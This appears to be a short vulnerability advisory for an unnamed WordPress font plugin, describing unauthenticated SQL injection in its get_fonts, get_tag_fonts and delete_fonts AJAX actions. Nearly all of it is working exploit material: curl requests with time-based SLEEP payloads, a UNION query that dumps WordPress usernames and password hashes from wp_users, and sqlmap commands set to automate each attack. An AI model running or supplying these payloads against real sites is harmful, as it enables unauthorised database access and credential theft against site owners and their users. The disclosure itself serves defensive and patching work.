The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
curl -i ‘http://example.com/wp-admin/admin-ajax.php?action=get_fonts’ \ --data ‘id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))hewu)’ … or use the sqlmap command below to automate the attack: sqlmap -u ‘http://example.com/wp-admin/admin-ajax.php?action=get_fonts’ \ --data ‘id=1’ \ -p id \ --risk 3 \ --level 5 \ --dbms mysql \ --batch -– curl -i ‘http://example.com/wp-admin/admin-ajax.php?action=get_tag_fonts’ \ --data ‘id=-1 UNION ALL SELECT NULL,NULL,NULL,CONCAT((SELECT user_login from wp_users),CHR(0x3a),(SELECT user_pass from wp_users)),NULL-- -’ … or use the sqlmap command below to automate the attack: sqlmap -u ‘http://example.com/wp-admin/admin-ajax.php?action=get_tag_fonts’ \ --data ‘id=1’ \ -p id \ --risk 3 \ --level 5 \ --dbms mysql \ --batch -– curl -i ‘http://example.com/wp-admin/admin-ajax.php?action=delete_fonts’ \ --data ‘font_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))kfTw)’ … or use the sqlmap command below to automate the attack: sqlmap -u ‘http://example.com/wp-admin/admin-ajax.php?action=delete_fonts’ \ --data ‘font_id=1’ \ -p font_id \ --risk 3 \ --level 5 \ --dbms mysql \ --batch